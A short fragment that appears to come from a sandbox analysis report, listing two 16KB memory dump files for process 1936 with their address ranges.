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memory/1936-3-0x0000000000323000-0x0000000000327000-memory.dmpFilesize
16KB
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memory/1936-2-0x0000000000323000-0x0000000000327000-memory.dmpFilesize
16KB